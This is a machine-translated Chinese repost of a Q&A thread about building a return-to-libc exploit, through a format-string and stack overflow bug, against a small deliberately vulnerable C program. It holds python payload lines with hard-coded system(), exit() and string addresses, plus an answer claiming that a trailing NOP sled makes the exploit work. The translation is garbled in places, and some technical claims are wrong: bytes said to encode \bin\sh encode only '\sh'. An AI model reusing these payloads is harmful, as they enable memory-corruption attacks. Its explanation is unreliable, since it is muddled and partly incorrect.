我正在尝试使用格式字符串攻击向量对以下代码实施返回libc攻击。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
我已经使用中的p system
命令找出了system()的地址gdb
。通过检查使用的堆栈框架x/500s $esp
,我得出了包含的环境变量的地址\bin\sh
。
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
完成这些操作后,我构造了以下格式字符串:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
其中0xffffcdbc - 0x4
是包含系统地址0xf7e2cda0
值的本地地址。
我使用编译了程序,gcc -m32 -fno-stack-protector -o sh sh.c
并使用运行了程序gdb sh
。执行后,输入r<inp
,我得到以下输出
如上所示,显示了一些错误命令,只有在r
再次运行命令后,我才进入外壳。有人可以解释一下我在这里缺少什么,以便我直接进入shell吗?
另外,当我尝试./sh < inp
通过偏移gdb地址来执行不带gdb(by )的上述程序时,出现了段错误错误。我假设一旦上述修复得到纠正,就可以解决。
请给出一个完整的可用漏洞利用程序进行回答-大多数在线教程都用于argv[1]
解释类似的问题,但我希望在不使用参数的情况下使漏洞利用工作。
谢谢!
经过几天的研究,终于找出了问题所在。并不是说/bin/sh
字符串的地址是错误的,或者您只需\bin\sh
要从libc
库中获取一个字符串地址位置就可以使它正常工作,但是您所需要的只是在字符串地址末尾的4个字节的nop雪橇您放置的 因此,实质上,我的攻击字符串会这样
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp
或者在您/bin/sh
直接将a写入缓冲区的情况下,类似以下字符串的方法将起作用
python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp
其中\x5c\x73\x68
(对于十六进制\bin\sh
)中的被存储在缓冲\x84\xce\xff\xff
注意:有时我还观察到您在特定位置写的地址没有显示出来。在这种情况下,您应该进行填充以确保所有内容都存储在它们各自的位置。
本文收集自互联网,转载请注明来源。
如有侵权,请联系 [email protected] 删除。
我来说两句